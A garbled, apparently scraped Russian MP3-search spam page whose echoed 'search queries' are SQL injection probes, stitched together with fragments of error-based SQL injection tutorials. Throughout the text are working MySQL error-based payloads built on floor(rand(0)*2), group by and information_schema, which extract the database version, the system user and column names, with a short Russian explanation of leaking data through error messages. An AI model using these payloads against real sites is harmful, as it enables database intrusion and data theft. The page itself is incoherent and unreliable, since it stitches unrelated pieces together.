Для вашего поискового запроса Ttih And Select 7716 From Select Count Concat 0x7162786b71 Select Elt 7716 7716 1 0x717a767671 Floor Rand 0 2 X From Information Schema Plugins Group By X A And 5456 5456 MP3 мы нашли 1000000 песни, соответствующие вашему запросу...
Для вашего поискового запроса JnCE AND SELECT 1444 FROM SELECT COUNT CONCAT 0x7170787a71 SELECT ELT 1444 1444 1
...Count Concat 0x71767a7671 Select Elt 9590 9590 1 0x71626a7171 Floor Rand 0 2 X From Information Schema Plugins Group By X A - cкачать
...1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Имя хоста
...CONCAT(0x7171787671,(SELECT (ELT(4663=4663,1))),0x7162786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)
SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'. Цель тут простая найти способ ,сделать вывод об отчете об ошибках,другими словами мы должны динамически передать подстроку в ошибку...
Is it possible to select from the result of a union? For example I'm trying to do something like: … Am I missing anything or making an assumption about how this works?
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLEHEX limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a). Notice the LIMIT 0...